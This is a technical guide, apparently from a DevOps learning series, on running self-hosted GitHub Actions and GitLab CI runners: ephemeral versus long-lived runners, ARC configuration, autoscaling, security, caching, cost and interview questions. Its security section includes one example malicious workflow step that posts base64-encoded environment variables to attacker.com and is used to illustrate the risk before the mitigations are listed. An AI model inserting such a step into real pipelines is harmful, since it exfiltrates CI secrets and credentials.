Self-Hosted Runners

When the cloud CI runners aren’t enough — GPU workloads, large memory, internal-network access, custom OS, cost optimization at scale — you run your own. Both GitHub Actions and GitLab CI support this pattern; the trade-offs are similar.

For cloud-hosted runners: GitHub Actions (02_github_actions.md), GitLab CI (03_gitlab_ci.md).

Why self-host

Why NOT self-host (start with cloud)

Default: start with cloud. Self-host when you have a specific reason.

Hosting models

Long-lived VMs

[ runner VM 1 ] [ runner VM 2 ] [ runner VM 3 ]
       ↓                ↓                ↓
            GitHub / GitLab API

Each VM runs the runner agent; agents pick up jobs from the queue.

Pros: simple. Cons: state accumulates (cache, leftover files, security drift); jobs interfere with each other; no easy scaling.

Ephemeral runners (recommended)

   Job arrives → spin up VM/container → run job → destroy VM

Each job gets a fresh runner. No cross-job state pollution. Clean security model.

Implementations:

• actions-runner-controller (ARC) — Kubernetes operator for ephemeral GitHub Actions runners.
• GitLab Kubernetes executor — pods per job.
• EC2 launch templates + autoscaling.
• Docker-in-Docker — runner spins up a container per job.

Hybrid

Cloud runners for the bulk of work (low-volume PRs, doc changes). Self-hosted for specialized jobs (release builds, GPU work, deploy to internal infra). Tag-route the relevant jobs.

actions-runner-controller (ARC)

The standard for self-hosted GitHub Actions on Kubernetes:

apiVersion: actions.github.com/v1alpha1
kind: AutoscalingRunnerSet
metadata:
  name: my-runners
  namespace: arc-runners
spec:
  githubConfigUrl: https://github.com/myorg
  githubConfigSecret: github-app-secret
  minRunners: 0
  maxRunners: 20
  template:
    spec:
      containers:
        - name: runner
          image: ghcr.io/actions/actions-runner:latest

ARC subscribes to GitHub’s webhooks; when a job is queued, it spawns a runner pod. The pod runs one job and exits. Cluster autoscales pods up/down based on demand.

Pros: ephemeral, scales to zero, no idle cost. Cons: cold-start latency (10-30s per job to spin a pod); cluster operational overhead.

In GitHub Actions workflow:

jobs:
  build:
    runs-on: self-hosted    # or specific label set: [self-hosted, k8s, gpu]

GitLab CI Kubernetes executor

# config.toml on a GitLab runner instance
[[runners]]
  name = "k8s-runner"
  url = "https://gitlab.example.com"
  token = "..."
  executor = "kubernetes"
  [runners.kubernetes]
    namespace = "gitlab-runner"
    image = "ubuntu:22.04"
    cpu_limit = "2"
    memory_limit = "4Gi"

The runner schedules a pod per job. Same ephemeral model. The runner-manager pod is long-lived; build pods are per-job.

For GitLab on GitLab.com (SaaS) using self-hosted runners: register them as project or group runners and tag them.

Autoscaling on AWS / GCP / Azure

Cloud-native autoscaling for ephemeral runners:

• AWS: launch template + Auto Scaling Group + scale-on-queue-depth via Lambda + CloudWatch.
• Philips Labs Terraform module — opinionated GitHub Actions self-hosted runners on AWS.
• GitHub’s Actions Runner Controller (different from ARC; AWS-managed) — separate offering.
• Various OSS projects: summerwind/actions-runner-controller (now superseded by official ARC).

The pattern: pre-baked AMI/container image → ephemeral instance per job → terminate after.

Security — the big risk

A self-hosted runner runs arbitrary code from your repo. If a malicious PR introduces a workflow change, that code runs on your hardware with your credentials.

# Malicious PR adds this to .github/workflows/test.yml
- run: |
    curl -X POST attacker.com \
      -d "$(env | base64)"

env includes whatever the runner has access to — local files, network access, AWS metadata service (169.254.169.254).

Mitigations:

Ephemeral runners

Fresh runner per job → no leftover state, no long-lived secrets on disk.

Network isolation

Runner subnet has no inbound access from internet; outbound to package registries only (no arbitrary egress).

No PRs from forks on self-hosted

jobs:
  build:
    if: github.event_name != 'pull_request_target' || github.actor == 'expected-bot'
    runs-on: self-hosted

Public repos: PRs from forks can run on cloud runners (limited blast radius) but NEVER on self-hosted (full access). GitHub’s UI lets you “require approval for all outside contributors” — set this.

Restrict workflow permissions

Runner authentication should be scoped: a runner registered to one repo should NOT have permission to push to another. GitHub: register at repo or org level with care; GitLab: tag-route to specific projects.

Limit GITHUB_TOKEN / CI_JOB_TOKEN scope

permissions:
  contents: read       # default to minimum

Don’t give write unless needed. Most CI jobs only need contents: read.

Use ephemeral cloud secrets, not static

OIDC for cloud (AWS / GCP / Azure) → short-lived credentials issued per workflow run. No long-lived keys on the runner. See 06_secrets_and_supply_chain.md.

Don’t run untrusted workflows

pull_request_target runs in base repo context with secrets — explicit warning territory. If your self-hosted runners pick up PR jobs from forks, never use pull_request_target unless you understand the implications.

Resource sizing

Disk matters more than people expect — pip install and npm install and Docker layer extraction are I/O-bound.

Pre-baked images

For fast cold starts, bake everything into the runner image:

FROM ubuntu:22.04
RUN apt-get update && apt-get install -y \
    python3.12 python3-pip \
    docker.io \
    git curl jq \
    && rm -rf /var/lib/apt/lists/*
# pre-install common Python packages
RUN pip install --no-cache-dir pytest black ruff mypy
# install runner agent
ARG RUNNER_VERSION
RUN curl -L https://github.com/actions/runner/releases/download/v${RUNNER_VERSION}/actions-runner-linux-x64-${RUNNER_VERSION}.tar.gz | tar xz
CMD ["./run.sh"]

Pre-bake: Python, Docker, common tools, package caches. Cold start drops from 60s (cold pip install) to 5-10s (image pull + start).

Tools like Packer, EarthlyCI, or simple Docker build pipelines maintain runner images.

Caching at scale

Cloud runners use the platform’s cache (actions/cache, GitLab cache). Self-hosted can do more:

• Shared NFS / EFS for dependency caches across runners.
• Local Docker registry mirror — pull through cache for Docker Hub, reducing rate-limit pain.
• artifact registry mirror (Artifactory, Nexus, Cloudsmith) for pip / npm / etc.
• Bazel remote cache for builds.

Hot caches on LAN-speed storage dramatically beat cloud runners on cold cache.

Cost modeling

Rough self-hosted vs cloud comparison for GitHub Actions:

Crossover for typical Linux workloads: a few thousand build-minutes per day. Mac builds crossover much lower (~50 builds/day).

Hidden costs: SRE time, monitoring, image maintenance, security patching, incident response. Often 10-20 hours/month of someone’s time even for a well-tuned setup.

Operational concerns

• Monitoring: are runners healthy? job queue depth? cold-start latency? cost per build?
• Patching: monthly base image updates; CVE-driven emergency patches.
• Capacity planning: peak times (morning standups, end-of-sprint pushes) need more runners.
• Failure modes: a runner gets stuck mid-job — orphaned pods, cleanup logic needed.
• Logs: runner agent logs separately from job logs. Aggregate both for incident response.

When to migrate from cloud to self-hosted

Indicators:

1. Cloud CI bill > $1000/month and growing.
2. macOS builds dominating cost.
3. Frequent need to test against internal services (VPN required).
4. Compliance / data residency.
5. Specialized hardware (GPU).
6. Build times limited by slow runner specs (large monorepo).

Order of migration:

1. Start with one workload (e.g., release builds, or one slow team).
2. Run alongside cloud; tag-route specific jobs.
3. Validate operational maturity over a few weeks.
4. Expand or revert based on outcomes.

Common pitfalls

• Runner with persistent state — secrets, leftover files, cached credentials. Switch to ephemeral.
• Public repo + self-hosted — fork PRs can run arbitrary code. Restrict to non-fork PRs or use cloud.
• No autoscaling — runners idle 80% of the time but can’t burst. Use ephemeral + autoscaling.
• Single runner = single point of failure — one machine down = all CI stopped. Run multiple.
• No cleanup on failure — orphaned pods / VMs accumulate. Cleanup hooks / TTLs.
• Mixing trusted and untrusted workloads — same runner runs internal release builds and PRs from anyone. Separate.

Interview angle

• “When would you self-host CI runners?” — cost at scale (especially macOS), specialized hardware (GPUs), private-network access, compliance / data residency, custom toolchains. Default is cloud; self-host when you have specific reasons.
• “What’s the difference between long-lived and ephemeral runners?” — long-lived: persistent VMs running the agent, state accumulates, security risk. Ephemeral: one runner per job, destroyed after, clean state every time. Modern best practice.
• “What’s the main security risk with self-hosted runners?” — arbitrary code from the repo runs on your infrastructure with whatever credentials the runner has. Particularly dangerous with public repos accepting PRs from forks. Mitigations: ephemeral runners, network isolation, restricted permissions, OIDC instead of long-lived keys.
• “How do you autoscale self-hosted runners?” — Kubernetes operators (actions-runner-controller for GitHub, GitLab runner k8s executor), AWS Auto Scaling Groups + Lambda, or scale-on-queue-depth via the platform’s API. Ephemeral pods per job.
• “How would you handle Python tests against an internal Postgres?” — self-hosted runner in the VPC; tag-routed to ensure only the relevant jobs run there; the Postgres is reachable on the private network; cloud runners handle public-only work.
• “What’s the cost crossover from cloud to self-hosted?” — depends on workload. Linux: few thousand build-minutes/day. macOS: ~50 builds/day. Plus operational costs (SRE time, patching, monitoring). The cloud-vs-self-hosted decision isn’t just bill arithmetic.
• “What’s a ‘pre-baked’ runner image and why?” — Docker / VM image with the toolchain pre-installed (Python, Docker, common deps). Cold start drops from minutes (apt install + pip install) to seconds. Maintain via image-build pipeline.